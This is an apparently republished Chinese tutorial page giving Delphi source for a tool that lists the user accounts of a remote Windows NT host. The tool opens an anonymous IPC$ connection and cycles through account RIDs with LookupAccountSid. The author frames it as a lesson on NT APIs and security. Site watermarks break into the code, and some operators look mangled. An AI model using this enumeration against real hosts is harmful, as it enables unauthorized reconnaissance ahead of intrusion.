远程得到任意远程NT主机帐号List的源代码

2016-02-19 19:35 6 1 收藏

想要天天向上,就要懂得享受学习。图老师为大家推荐远程得到任意远程NT主机帐号List的源代码,精彩的内容需要你们用心的阅读。还在等什么快点来看看吧!

【 tulaoshi.com - 编程语言 】

由于看到前些日子retina里有个不需要预先知道帐号就可以获取一般任意
  目标NT主机帐号的功能。几个月之前,我为了弄清原理,就做了一个工具。
  这次整理硬盘,发现了这个小工具,这本身并不算什么,因为ISS scanner等
  软件都包含了这类功能。但是我希望大家能够通过这个例子,了解一些NT的
  API和安全性知识。

  

  -- 完整的code(use Delphi)和一个编译好的zip文件在
  ftp://202.96.215.252/incoming/sea/getuser.zip

  这里贴一下程序的主要代码段:
  unit Unit1;
  { 这是一个演示如何去获取目标NT计算机上用户列表的程序,
  由于Win32 API的限制,此程序只能在NT平台上正确运行。
  由于是为了演示原理,所以没有使用多线程,也没有考虑太高
  的健壮性,希望诸位海涵。欢迎和我联系

  Vader Yang
  ciert@soim.net}
  interface

  uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dia

  logs,
  StdCtrls, ComCtrls, ExtCtrls;
  // 省略 若干行
  {...}

  {$R *.DFM}
  procedure TForm1.Button1Click(Sender: TObject);

  var
  seaNetResource:NETRESOURCE;
  seaResult:DWORD;
  seaAccessBuffer:string[255];
  seaAccessBufferLength:DWORD;
  sidbuffer:string[255];
  lpAccessBuffer:PChar;
  seaSID:PSID;
  seaSIDlength:DWORD;
  seaReferencedDomainName:string[255];
  seaReferencedDomainNameLength:DWORD;
  lpReferencedDomainName:PChar;
  seaSIDnameuse:SID_NAME_USE;
  tempPchar:Pchar;
  SidSubCount:PUCHAR;
  i,j:integer;
  StoreCount:byte;
  tempPDWORD:PDWORD;
  tempDWORD:DWORD;
  storeSIDsub: array [0..8] of Integer;
  seaSidIdentify:PSIDIdentifierAuthority;
  newSID:PSID;
  seaAccountBuffer:String[255];
  pAccountName:LPTSTR;
  AccountLength:DWORD;
  BlResult:Boolean;
  const
  AccountType:array [0..8] of string=('','User','Group','Domain','al

  ias',
  'WelknowGroup','Deleted','Invalid','Unknown');

  begin
  Button1.Enabled:=False;
  lpAccessBuffer:=@seaAccessBuffer;
  lpReferencedDomainName:=@seaReferencedDomainName;
  seaSID:=@sidbuffer;
  seaAccessBufferLength:=64;
  seaSIDLength:=255;
  seaReferencedDomainNameLength:=255;
  seaNetResource.dwScope:=RESOURCE_GLOBALNET;
  seaNetResource.dwType:=RESOURCETYPE_ANY;
  seaNetResource.lpLocalName:=PChar('');
  seaNetResource.lpRemoteName:=PChar(''+EdtHostName.Text+'IPC$');

  
  seaNetResource.lpProvider:=PChar('');
  seaResult:=WNetAddConnection2(seaNetResource,PChar(''),PChar(''),C

  ONNECT_PROMPT);
  if seaResult=NO_ERROR then
  begin
  if LookupAccountName(PChar(''+EdtHostName.Text),Pchar(seedl

  ine),seaSID,seaSIDlength,
  lpReferencedDomainName,seaReferencedDomainNamelength,seaS

  IDnameuse)
  then
  begin
  cpDomain.Caption:=string(lpReferencedDomainName);
  seaSidIdentify:=GetSidIdentifierAuthority(seaSID);
  SidSubCount:=GetSidSubAuthorityCount(seaSID);
  StoreCount:=SidSubCount^;

  for i:=0 to Integer(StoreCount)-1 do
  begin
  tempPDWORD:=GetSidSubAuthority(seaSID,i);
  storeSIDsub[i]:=tempPDWORD^;
  end;

  //start to get username
  pAccountName:=@seaAccountBuffer ;
  seaReferencedDomainNameLength:=255;
  AccountLength:=255;
  storeSIDsub[StoreCount-1]:=500;
  if AllocateAndInitializeSid(seaSidIdentify^,SidSubCount^

  ,StoreSidSub[0],
  StoreSidSub[1],StoreSidSub[2],StoreSidSub[3],StoreSidSub

  [4],
  StoreSidSub[5],StoreSidSub[6],StoreSidSub[7],newSID) the

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  n
  begin

  if LookupAccountSid(PChar(''+EdtHostName.Text),ne

  wsid,
  pAccountName,AccountLength,lpReferencedDomainName,

  
  seaReferencedDomainNameLength,seaSIDnameuse)
  then
  begin
  lbAdmin.Caption:=String(pAccountName);
  ListBox1.Items.Add(''+lpReferencedDomainName+

  ''+pAccountName+' Built-in Admin');
  end
  else
  exit;
  FreeSid(newSID);
  //tempDWORD:=GetLastError;
  j:=1;
  i:=1000;
  while j=30 do
  begin
  seaReferencedDomainNamelength:=255;
  AccountLength:=255;
  StoreSidSub[StoreCount-1]:=i;
  AllocateAndInitializeSid(seaSidIdentify^,SidSu

  bCount^,StoreSidSub[0],
  StoreSidSub[1],StoreSidSub[2],StoreSidSub

  [3],StoreSidSub[4],
  StoreSidSub[5],StoreSidSub[6],StoreSidSub

  [7],newSID);
  if LookupAccountSid(PChar(''+EdtHostName.Tex

  t),newsid,
  pAccountName,AccountLength,lpReferencedDo

  mainName,
  seaReferencedDomainNameLength,seaSIDnameu

  se)
  then
  begin
  if seaSIDnameuse=sidTypeInvalid then j:=j+1
  else if seaSIDnameusesidTypeDeletedAccount t

  hen
  begin
  j:=0;
  ListBox1.Items.Add(''+lpReferencedDomainN

  ame+
  ''+pAccountName+' '+AccountType

  [seaSIDnameuse]);
  StatusBar1.SimpleText:=pAccountName;
  end;
  end
  else
  j:=j+1;
  Application.ProcessMessages;
  i:=i+1;
  FreeSID(newsid);
  end;
  end;

  end
  else ShowMessage('Cannot locate sid infomation!');
  end
  else ShowMessage('Connection Error!');
  WNetCancelConnection2(PChar(''+EdtHostName.Text+'IPC$'),0,true)

  ;
  Button1.Enabled:=True;
  end;

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  {以后code 省略}
  

来源:http://www.tulaoshi.com/n/20160219/1621390.html

延伸阅读
标签: 电脑入门
第一步 架设服务器 其实Windows xp 装好之后,就可以了,当然如果你的XP是不用密码自动登录的,那就不行,没有密码是不让你进行远程桌面连接的,不然还不任何人都可以操作你的电脑,那岂不是完蛋。所以我们要先加密码,详细步骤如下: 点开始------设置---控制面板(繁体版叫控制台)点他。出现以下画面: 接着点-- 用户帐户 --出现如下...
标签: 电脑入门
兔子姐,我想打印第一季度的申报表,可是进不到打印界面呀?怎么办呀?葱头对兔子姐说。兔子姐让葱头发送远程协助邀请,接着便给葱头讲解操作步骤,短短几分钟,远方的葱头便学会了操作方法。 兔子姐用什么软件解决难题的呢?原来是利用了图度Talk的远程协助功能。与其他远程协助软件不同的是,图度Talk的远程协助功能非常强大,完全支持内网穿透...
标签: Java JAVA基础
涉及程序: Solaris and Windows NT 描述: Sun Java Web Server 能让攻击者远程执行任意命令 详细: Sun 的 Java Web 服务器存在多个安全问题,允许攻击者远程以 web 服务器权限执行命令。 它的 Web 管理模块监听 9090 端口,通过 http 处理管理命令。 "com.sun.server.http.pagecompile.jsp92.JspServlet" servlet用来编译并执行JSP...
标签: 电脑入门
在Windows XP中, 新增了一条命令行工具shutdown ,其作用是 关闭或重新启动本地或远程计算机 。利用它,我们不但可以注销用户,关闭或重新启动计算机,还可以实现定时关机、远程关机。 该命令的语法格式如下: shutdown [-i |-l|-s |-r |-a] [-f] [-m [ComputerName]] [-t xx] [-c "message"] [-d[p]:xx:yy] 其中,各参数的含...
标签: ASP
 把asp程序作成dll很多好处,但是有一点,该dll必须注册才能在asp中调用。如果是自己的服务器那还好,但如果是租用的虚拟服务器,就没办法使用了。 怎样在远程主机上注册我们的dll呢?在服务器端使用Shell!!! 让我们先将自己的dll文件通过ftp或http上传到服务器上,然后作一个asp程序,调用WScript.Shell来  执行regsvr32命令: &...

经验教程

907

收藏

60
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部